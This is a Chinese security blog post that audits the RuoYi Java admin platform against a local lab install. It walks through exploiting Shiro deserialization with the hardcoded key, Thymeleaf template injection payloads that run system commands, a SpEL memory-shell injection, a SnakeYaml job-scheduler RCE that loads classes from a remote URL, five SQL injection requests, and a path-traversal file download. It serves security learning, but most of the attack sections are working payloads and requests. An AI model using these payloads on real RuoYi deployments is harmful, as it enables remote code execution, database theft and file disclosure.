代码审计之若依后台管理系统
2022-12-6 14:28:0 Author: xz.aliyun.com(查看原文) 阅读量:76 收藏

[email protected]深蓝实验室重保天佑战队

本文部分知识点来源于互联网,在此感谢各位师傅!新手上路,各位师傅多多指点。
RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。

内置功能模块

  1. 用户管理:用户是系统操作者,该功能主要完成系统用户配置。
  2. 部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。
  3. 岗位管理:配置系统用户所属担任职务。
  4. 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
  5. 角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。
  6. 字典管理:对系统中经常使用的一些较为固定的数据进行维护。
  7. 参数管理:对系统动态配置常用参数。
  8. 通知公告:系统通知公告信息发布维护。
  9. 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
  10. 登录日志:系统登录日志记录查询包含登录异常。
  11. 在线用户:当前系统中活跃用户状态监控。
  12. 定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。
  13. 代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。
  14. 系统接口:根据业务代码自动生成相关的api接口文档。
  15. 服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。
  16. 缓存监控:对系统的缓存查询,删除、清空等操作。
  17. 在线构建器:拖动表单元素生成相应的HTML代码。
  18. 连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。

JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0
若依后台管理系统V4.2
1、导入数据库

create datavase ry; 创建名为ry的数据库
use ry; 切换使用ry数据库
source C:/Users/27721/Desktop/RuoYi-v4.2/RuoYi-v4.2/sql/ry_20200323.sql
source C:/Users/27721/Desktop/RuoYi-v4.2/RuoYi-v4.2/sql/quartz.sql

2、修改 src\main\resources\application-druid.yml 配置文件中数据库账号密码。

1、第三方组件漏洞审计

本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打
开该若依,发现本项目采用了多模块方式。因此每个模块下都会有一个pom.xml,项目
最外层的pom.xml为父POM。我们可以通过 pom.xml 或者 External Libraries 来
确定引入组件的版本,具体整理如下:

组件名称 组件版本 是否存在漏洞
shiro 1.4.2 存在
thymeleaf 2.0.0 存在
druid 1.1.14 不存在
mybatis 1.3.2 不存在
bitwalker 1.19 不存在
kaptcha 2.3.2 不存在
swagger 2.9.2 不存在
pagehelper 1.2.5 不存在
fastjson 1.2.60 存在
oshi 3.9.1 不存在
commons.io 2.5 存在
commons.fileupload 1.3.3 不存在
poi 3.17 存在
velocity 1.7 存在
snakeyaml 1.23 存在

通过版本号进行初步判断后,我们还需再进一步验证。

1.1、从Shiro密钥硬编码到反序列化漏洞

Shiro密钥硬编码
通过查看pom.xml文件,我们了解到本套项目使用了Shiro组件。我们进一步查看Shiro配置文件时,发现了Shiro密钥硬编码写在了代码文件中。代码位于

RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java

可以直接通过搜索关键字setCipherKey或CookieRememberMeManager,来看看密钥是否硬编码在了代码中,第331行。如下图所示:

Shiro反序列化漏洞
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
由于AES加解密的秘钥被硬编码在代码中,这意味着有权访问源代码的任何人都知道默认加密密钥是什么,因此,攻击者可以创建一个恶意对象并对其进行序列化,编码,然后将其作为cookie发送,然后Shiro将解码并反序列化,从而导致恶意代码执行。
通过查看pom.xml文件我们确定了Shiro版本为1.4.2。Shiro 1.4.2版本对于Shiro反序列化来说是个分水岭。由于CVE-2019-12422漏洞的出现,也就是Shiro Padding Oracle Attack漏洞。Shiro在1.4.2版本开始,由AES-CBC加密模式改为了AES-GCM。所以我们在做漏洞验证时,要将payload改成AES-GCM加密模式。
漏洞验证
既然已经得到了密钥为“fCq+/xW488hMTCD+cmJ3aQ==”,那这里就直接用工具打一波试试啦,试不出来再审代码。

1.2、Thymeleaf组件漏洞

到Thymeleaf组件版本为 2.0.0 ,该版本存在SSTI(模板注入)漏洞。
关于什么是Thymeleaf,推荐学习这篇文章:
https://waylau.gitbooks.io/thymeleaftutorial/content/docs/introduction.html
常用payload

__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x

http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22whoami%22)%7D__::main.x

1、打回显内存马
https://www.anquanke.com/post/id/198886
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/
两篇相关的文章,具体关键要素如下:
改良 SPEL 执行 Java 字节码的 Payload

解决BCEL/js引擎兼容性问题
解决base64在不同版本jdk的兼容问题
可多次运行同类名字节码
解决可能导致的ClassNotFound问题

最终 Payload :

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

2、Spring 层内存马
c0ny1师傅所写的内存马见https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/#0x03-Spring%E5%B1%82%E5%86%85%E5%AD%98%E9%A9%AC,大体的逻辑就是利用 HandlerMapping 注册一个映射关系,通过映射关系让 HandlerAdapter 执行到内存马,最后返回一个 HandlerResultHandler 可以处理的结果类型。c0ny1师傅的内存马中HandlerMapping 选用了RequestMappingHandlerMapping,然后RequestMappingHandlerMapping 的获取使用的方式是从 SPEL 的上下文的 bean 中获取,具体见文章内容。最终的结果就是得到了一个 @RequestMapping("/*") 等效的内存马。
但由于这道题里面并没有用 Spring cloud gateway 组件,所以原代码中利用 org.springframework.web.reactive.HandlerMapping 来注册 registerHandlerMethod 就会报错找不到对应的类。
3、registerMapping 注册 registerMapping
在 spring 4.0 及以后,可以使用 registerMapping 直接注册 requestMapping ,这是最直接的一种方式。
registerMapping 的原型函数如下

public void registerMapping(T mapping, Object handler, Method method) {
        if (this.logger.isTraceEnabled()) {
            this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
        }

        this.mappingRegistry.register(mapping, handler, method);
    }

将我们执行命令的方法注册进去即可,也就是:

registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);

1.2.1、什么是SSTI(模板注入)漏洞

参考文章:https://forum.butian.net/share/1922
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
所谓的模板即为 模板引擎 。
本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎,如:
velocity,freemarker,jade等等。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板加上用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
https://www.mi1k7ea.com/2019/11/29/JavaSnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
模板注入(SSTI)漏洞成因,是因为服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

1.2.2、Thymeleaf模板注入漏洞简介

Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。
如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和 @RestController 不会进行View解析而是直接返回。所以这同样是修复方式。

1.2.3、发现SSTI(模板注入)漏洞点

我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层,我们关注两点: 1、URL路径可控。 , 2、return内容可控。
所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下。
1、URL路径可控

@RequestMapping("/hello")
public class HelloController {
  @RequestMapping("/whoami/{name}/{sex}")
  public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
    return "Hello" + name + sex;
  }
}

2、return内容可控

@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
  mmap.put("cacheNames", cacheService.getCacheNames());
  return prefix + "/cache::" + fragment;
}

视角转回到本项目。
根据上面两个关注点,对 若依v4.2 进行了一番探索。并没有发现存在Thymeleaf模板注入漏洞点。
但在若依v4.7.1 发现存在 return内容可控 的情况。为了学习该漏洞,下面以若依v4.7.1版本进Thymeleaf模板注入代码审计学习。
在若依v4.7.1的 RuoYi-v4.7.1\ruoyiadmin\src\main\java\com\ruoyi\web\controller\monitor 下多了一个CacheController.java 文件。该文件下有多个地方 Return内容可控 ,如下图所示:

简单理解:接收到 fragment 后,在return处进行了模板路径拼接。
根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为fragment 。
漏洞验证:
Thymeleaf模板注入payload举例:

return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x

本次漏洞验证我在Windows环境下进行的。
注意: 若依v4.7.1 搭建部署与 若依v4.2 相同,数据库导入务必使用 sql 目录
下的 ry_20210924.sql 和 quartz.sql 。先导入 ry_20210924.sql 。
我们以 getKeys 接口为例,该漏洞点为 return内容可控 ,具体漏洞验证如下。
①、正常启动项目,进入后台。我们发现在 系统监控下有个缓存监控 的功能,和代码审计发现的 CacheControlle 代码文件中功能注释一样。初步确定两者相同。
②、访问缓存监控功能。进入后,分别点击 缓存列表 和 键名列表 旁的刷新按钮,会分别想 getNames , getKeys 接口发送数据。如下图所示:
访问http://127.0.0.1/monitor/cache/,抓“刷新”按钮的数据包:

③、将数据包发送到Repeater模块,在 fragment 参数后构造攻击payload为 ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe") }::.x ,对paylod进行URL编码后。发送数据包。响应报错,而且并没有弹出来计算 器。如下图所示:

找了半天原因,发现 若依v4.7.1 版本使用的是 Thymeleaf3.0.12 版本。
官方在这个版本进行了一些限制,比如使用new实例化,静态方法调用都被限制了。还有其他一些限制,详细可看https://github.com/thymeleaf/thymeleaf/issues/809 。下图为谷歌机翻,大致可以看一下

因此,我们刚开始用的Payload是被限制了。
经过一顿操作猛如虎,其实谷歌就能有。
我们将Payload改造一下,如 ${T (java.lang.Runtime).getRuntime().exec("calc.exe")} 。在T和(之间多加几个空格即可。
对Payload进行URL编码后,放入 fragment 参数中,可以看到弹出了计算器,如下图所示:(注意这里的cacheName不能为空,可以随便输入一个)

触发点二:/demo/form/localrefresh/task
在src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java文件中还有一个触发点:


抓包改为POST,其实这里不编码也可以成功,${T (java.lang.Runtime).getRuntime().exec("calc.exe")}

至此,漏洞验证部分结束。
希望大家在这基础上,进一步学习Thymeleaf模板注入漏洞。直接推荐一篇文章:
https://xz.aliyun.com/t/9826
https://forum.butian.net/share/1922

1.3、 Fastjson组件漏洞

本项目使用了 Fastjson 1.2.60 , Fastjson <= 1.2.68 都是存在漏洞的。
已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数 parse 和 parseObject 。
搜索关键字发现本项目使用了 parseObject ,如下图所示:

我们发现本项目使用的是 JSONObject.parseObject 方法,与第三套迷你天猫商城中 JSON.parseObject() 方法有所不同。JSONObject是一个继承自JSON的类,当调用JSONObject.parseObject(result)时,会直接调用父类的parseObject(String text)。两者也没什么区别,一个是用父类去调用父类自己的静态的parseObject(String text),一个是用子类去调用父类的静态parseObject(String text),两者调的是同一个方法。也是可以触发Fastjson反序列化漏洞的。
下面我们追踪下流程,看看是否有接收用户输入的地方。
①、双击进入 VelocityUtils.java ,第66行。代码如下图所示:

②、从代码中看到 JSONObject.parseObject(options); 需要一个参数为
options ,该参数通过第65行发现来自 genTable.getOptions(); ,ctrl加鼠标左键跟进, getOptions() 返回值为 options ,如下图所示:

③、继续跟进 options ,根据作者注释理解这是一个 其它生成选项 的字段。如下图所示:

④、我们回过头来,追溯下功能点。跟进 setTreeVelocityContext ,发现是prepareContext 中调用了它,如下图所示:

其中涉及到了一个判断条件,跟进一下,看如何触发该条件。跟进
GenConstants.TPL_TREE ,看到定义了一个常量字符为 tree 。如下图所示:

再跟进下 tplCategory ,该值来自于 genTable.getTplCategory(); 如下图所示:

进入 genTable.getTplCategory(); 后,看到 getTplCategory() 返回值就是tplCategory ,如下图所示:

继续跟进 tplCategory ,根据作者注释,这应该是一个使用模板的字段。该字段应该有两个值,一个是 crud ,一个是 tree 。所以我们再找到功能点时,应该将这个字段值设为 tree ,如下图所示:

中间穿插跟了下判断条件,我们继续追踪功能点。
⑤、回到 prepareContext() 方法,我们看下谁调用了他,发现
GenTaleServiceImpl.java 中第187行和250行都有所调用,如下图所示:

⑥、单击进入 GenTaleServiceImpl.java 第187行,发现是 previewCode 方法使用了 VelocityUtils.prepareContext(table); ,其中 table参数 来自
genTableMapper.selectGenTableById(tableId); 根据 tableId 查询表信息返回的数据,如下图所示:

也就是说,我们只能操控 tableId 参数。继续跟踪一下 previewCode ,如下图所示:

⑦、(此处省略跳转到genTableService,无关紧要)ctrl加鼠标左键点击
previewCode 继续跟进,跳转到了 GenController 层,发现是 preview 使用了genTableService.previewCode(tableId); 。如下图所示:

并且通过注释信息了解到该功能是 预览代码 ,路径是/tool/gen/preview ,从路径中获取 tableId 。
既然这样,这条链是没办法利用Fastjosn反序列化漏洞了。
梅开二度,找条别的链,继续试试。
追踪了刚才搜索的四个点,发现 GenTaleServiceImpl.java 第286行这个参数是我们可以操控的。
追踪流程如下。
①、 GenTaleServiceImpl.java 第286行JSONObject.parseObject(options);处理 options 参数,该值来自 String options = JSON.toJSONString(genTable.getParams()); ,如下图所示:

②、跟进 genTable.getParams() ,跳转到了 BASEEntity.java 代码中,因为Gentable 继承 BASEEntity 。根据判断条件,如果 params不等于null 的话,直接返回 params 。跟进 params ,注释表明该字段为 请求参数 ,并且 params 被定义成 Map<String, Object> ,可以理解为params字段中可以传任何类型的值在里面。如下图所示(为便于截图展示,删除了部分代码):

③、回到 GenTaleServiceImpl.java ,查看谁调用了 validateEdit ,跳转到了IGenTaleService 第99行处,如下图所示:
④、继续跟进 validateEdit ,跳转到了 GenController 层第142行,如下图所示:

至此,我们将这条链追踪完了。确定了功能点为代码生成处的 修改保存生成业务 ,我们主要关注 params 这个字段。

1.4、 SnakeYaml组件漏洞

SnakeYaml在Java中,是用于解析YAML格式的库。
在第三方组件漏洞审计处,确定了SnakeYaml版本为1.23,被定为存在漏洞。
事实上,SnakeYaml几乎全版本都可被反序列化漏洞利用。

1.4.1、漏洞简述

SnakeYaml支持反序列化Java对象,所以当 Yaml.load() 函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。全局搜索漏洞函数关键字,发现本项目并没有使用到 Yaml.load() 函数,
如下图所示:

该漏洞可以和本项目定时任务配合打出RCE效果。在这之前,请可拓展学习下篇文章,补一下基础。
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

1.4.2 定时任务处漏洞

审计定时任务
在项目简介中,我们了解到本项目中有使用到定时任务功能。 又根据官方文档的文件结构处,我们了解到本项目定时任务功能在 ruoyi-quartz 模 块下,使用的是 quartz 框架。如下图所示:

进入 ruoyi-quartz 模块 src\main\java\com.ruoyi.quartz 下,我们先关注controller 文件代码。我们知道 Controller 也是控制层,主要负责具体的业务模块流程的控制,简单说就是与前台互交,接受前台传来的参数后,再向 Service层 传输。
打开 controller 文件下,有两个代码文件,分别是 SysJobController 和SysJobLogController 。根据代码注释了解了大致作用,如下图所示:

现在,我们对 SysJobController下的run方法 进行追踪,根据注释该方法为任务调 度立即执行一次,如下图所示:

Ctrl加鼠标左键点击 jobService.run(job) ,进入Service层后,无其他执行代码,继续跟踪到实现层,最终代码位于 RuoYi-v4.2\ruoyiquartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl.java 第180行到188行。如下图所示:

第182,183行作用为通过调度任务ID查询调度信息。
第185行,实例化了 JobDataMap 。 JobDataMap 通过它的超类org.quartz.util.DirtyFlagMap 实现了java.util.Map 接口,你可以向 JobDataMap 中存入键/值对,那些数据对可在你的 Job 类中传递和进行访问。这是一个向你的 Job 传送配置的信息便捷方法。简单说,Job 运行时的信息保存在 JobDataMap 实例中。
最终在第187行,使用 scheduler.triggerJob(JobKey var1, DataMap var2) 为触发标识JobDetail(立即执行)。 JobDetail 用来描述Job的实现类及其它相关的静态信息,如Job名字、描述、关联监听器等等信息。其中 triggerJob() 方法需要两个参数,分别为 Jobkey 和 dataMap 。 dataMap 来自上面输入的运行时信息。而此处的 Jobkey 是JobDetail创建的的唯一标识。简单说,到了这就开始执行定时任务
了。
但最终方法的调用是在 QuartzDisallowConcurrentExecution 或QuartzJobExecution 中用JobInvokeUtil.invokeMethod(sysJob); 反射完成的。
QuartzDisallowConcurrentExecution 或 QuartzJobExecution 两者区别根据代码注释可以知道一个禁止并发执行,一个允许并发执行。这两个参数也是可以从前端中设置的。但不论那种,最终都是调用的 JobInvokeUtil.invokeMethod(sysJob); 。
进入 JobInvokeUtil.invokeMethod(sysJob); ,最终方法实现如下图所示:

解读一下。
①、第25行到28行,为获取处理数据,打个端点可以直观看出来,如下图所示(建议自己动手操作看一下):

②、第30到39行,有一个判断。若依支持两种方式调用,分别为支持 Bean 调用和Class 类调用。此处判断我理解为通过 beanname 判断是否为有效的classname。也就是调用目标字符串是使用 bean 方式调用,还是使用 Class 方式调用。
此处,可以创建两种方式的目标字符串后,在 if(!isValidClassName(beanName)) 处打个断点,分别执行跟踪一下,就能看明白了。

另一种调用方式,大家动手自己打个断点操作一下。进入管理系统,访问 系统监控 -定时任务 ,选择bean方式调用的任务,点击 更多操作 - 执行一次 。
至此,定时任务流程到这就结束了。他是如何RCE的呢?
漏洞简述
在对定时任务代码审计时发现该功能存在漏洞。在 添加任务->调用目标字符串处可操作class类,通过代码审计发现使用的反射方式,也就是说目标class类存在漏洞的话即可 利用反射触发RCE漏洞。
漏洞验证
在代码审计处,我们知道如果是调用class类,最终执行为 Object bean = Class.forName(beanName).newInstance(); 。 问题来了,如果此处想要成功实例化并且RCE的话,那么必须满足几个条件:

1、类的构造方法为Public
2、类的构造方法无参
3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
4、调用目标方法除了为Public,无参,还需要具有执行代码/命令的能力

有的朋友一开始会想到调用 java.lang.Runtime.getRuntime().exec("") 。但经 过上面条件的梳理,发现该类不满足条件,因为他的构造方法是private。
在组件检测时发现了本项目使用了 SnakeYaml 。经过学习我们知道,该组件只要可以 控制 yaml.load() 即可触发反序列漏洞。 经过探索学习, SnakeYaml的yaml.load() 是满足以上条件的,具体操作如下。
基础验证
①、先登录DNSlog平台,获取一个DNSlog地址。
②、然后进入后台,访问 系统监控-定时任务 功能,点击新增,在目标字符串下添加如 下内容(即攻击payload):

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地
址"]]]]')
③、点击确定后,在该页面点击 更多操作-立即执行 后,即可在DNSlog处看到探测信 息,如下图所示:

利用工具进一步攻击
推荐一款若依一键利用工具。项目地址: https://github.com/passer-W/Ruoyi-All 根据该工具介绍如下图所示:

①、打开该工具后,填写一些配置,其中包括目标URL和Cookie,如下图所示:

②、然后点击确定,即开始漏洞检测。存在漏洞提示如下图所示:

2、单类漏洞审计

2.1、SQL注入

2.1.1、注入点一

POST /system/role/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 152
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/role
Cookie: JSESSIONID=d87f8245-697f-4f62-94f3-072abe50be83; 
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

roleName=&roleKey=&status=0&params%5BbeginTime%5D=&params%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&params%5BdataScope%5D=*

单点漏洞代码审计首当其冲当然要先看SQL注入漏洞是否存在,全局搜索关键字 $ ,并限定文件类型为 .xml ,发现 sysDeptMapper.xml 和 sysUserMapper.xml 有存在SQL注入的地方,如下图所示:

①、点击进入 SysRoleMapper.xml ,SQL注入点在第58行,使用 $ 直接拼接了参 数,如下图所示:

②、点击左侧箭头快速跳转到DAO层(IDEA中需要安装Free Mybatis plugin插件),如下 图所示 :

③、键盘按住Ctrl加鼠标左键,点击 selectRoleList ,查看谁调用了它。最终来到 SysRoleServiceImpl 的实现层,如下图所示:

④、进入 SysRoleServiceImpl 后,再回溯到 SysRoleService 层,可使用左侧快 速跳转按钮。或者选中 selectRoleList 后使用快捷键 ctrl+u ,如下图所示:

⑤、键盘按住Ctrl加鼠标左键,点击 selectRoleList ,回溯到 Controller 层,最 终发现是 SysRoleController 调用了这个方法,如下图所示:

⑥、点击进入,最终定位到src\main\java\com\ruoyi\web\controller\system\SysRoleController.java ,第58行和第68行都有调用,如下图所示:

⑦、键盘按住Ctrl加鼠标左键,点击 SysRole ,进入看看定义了哪些实体类,其中发现了 DataScope ,如下图所示:

这里学个小知识:
一对一映射,规定一个用户只能对应一个角色,其实在实际的RBAC权限系统中,一个用户往往对应多个角色,然后每个角色用对应多个权限,基于实际需求,现在通过用户-角色-权限这种一对多的关系来说明一对多映射实现方式。
一、collection 集合的嵌套结果映射
和association类似,集合的嵌套结果映射就是指通过一次 SQL 查询将所有的结果查询出来,然后通过配置的结果映射,将数据映射到不同的对象中去 。
在SysUser类中增加 List<sysrole> roleList 属性用于存储用户对应的多个角色。如下:</sysrole>

⑧、回顾追溯流程
回顾下整理流程,如下所示:sysRoleMapper.xml -> SysRoleMapper.java -> SysRoleServiceImpl.java -> ISysRoleService.java -> SysRoleController.java->SysRole.java
sysRoleMapper.xml:注入点
SysRoleMapper.java:DAO层
SysRoleServiceImpl.java:执行 ISysRoleService实体类
ISysRoleService.java:Service接口类
SysRoleController.java:控制器
SysRole.java:定义实体类

这里再强调一下之前说过的请求过程:

简单说,我们从 XxxxMapper 文件追踪到 Controller 层,主要就是在找漏洞入口。顺带看看整个流程是否对参数有特殊处理。
⑨、汇总信息
最后,我们将追溯的过程,以及有用的信息汇总一下。
通过Controller层,我们可以知道,漏洞URL路径为 /system/role/list
通过Service层和Controller层的注释,我们大致知道该功能位于角色信息处。

访问WEB页面,发现名叫角色管理的功能。 当然了,如果我们没有找到功能,也完全可以自己构造数据包。
①、访问 角色管理 功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现 搜索 功能,会向 /system/role/list 接口发送数据,如下图所示:

②、发送到Repeater模块,发现请求Body中没有 DataScope ,没关系,我们照葫芦画 瓢自己添加上,最终如下图所示:

③、输入 单引号(') ,验证是否存在漏洞,发现返回了报错信息,如下图所示:

④、直接上SQLMAP,最终结果如下图所示:

2.1.2、注入点二

这个注入点有好几个地方可以调用利用,可以自行研究,这里只举出一条

POST /system/dept/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 41
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/dept
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

deptName=&status=&params%5BdataScope%5D=*

注入点位置:src/main/resources/mapper/system/SysDeptMapper.xml文件第51行,且追溯流程和注入一类似,这里就不过多描述了,如下:

注意,这里我们来到了控制器,控制器里可以对照到URL路径/system/dept/list,接下来去查看SysDept中包含了哪些实体类,发现并没有dataScope

这里我们先去后台抓包,后台->部门管理->搜索按钮,抓包如下:

可以看到这里默认只有deptName=&status=这两个参数,并且在实体类中也并没有dataScope,所以这里我们自己构造一下,把他加上去:

直接丢SQLmap,如下:

2.1.3、注入点三

注入点位置:src/main/resources/mapper/system/SysUserMapper.xml文件第83行。
后台位置:用户管理->搜索按钮

POST /system/user/list HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 175
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/user
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&params%5BdataScope%5D=*

2.1.4、注入点四

注入点位置:src/main/resources/mapper/system/SysUserMapper.xml文件第100行。
后台位置:角色管理->更多操作->分配用户

POST /system/role/authUser/allocatedList HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 114
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/role/authUser/1
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=&params%5BdataScope%5D=*

2.1.5、注入点五

注入点位置:src/main/resources/mapper/system/SysUserMapper.xml文件第118行。
后台位置:角色管理->更多操作->分配用户->添加用户这个数据包

POST /system/role/authUser/unallocatedList HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 114
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/system/role/authUser/selectUser/1
Cookie: JSESSIONID=197e09c3-c430-457e-89dc-700649018614
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&roleId=1&loginName=&phonenumber=&params%5BdataScope%5D='

2.2、任意文件读取/下载漏洞代码审计

需要登陆

GET /common/download/resource?resource=/profile/../1.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=fa4b3bdd-e507-462a-a155-a2adf4842470;
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

一般开发人员也都有比较好的习惯,对于注释方面写的也比较清楚。
我拿到一个项目,习惯大致浏览下项目代码(主要看注释),梳理下功能。
在本项目中,发现存在一处下载功能。
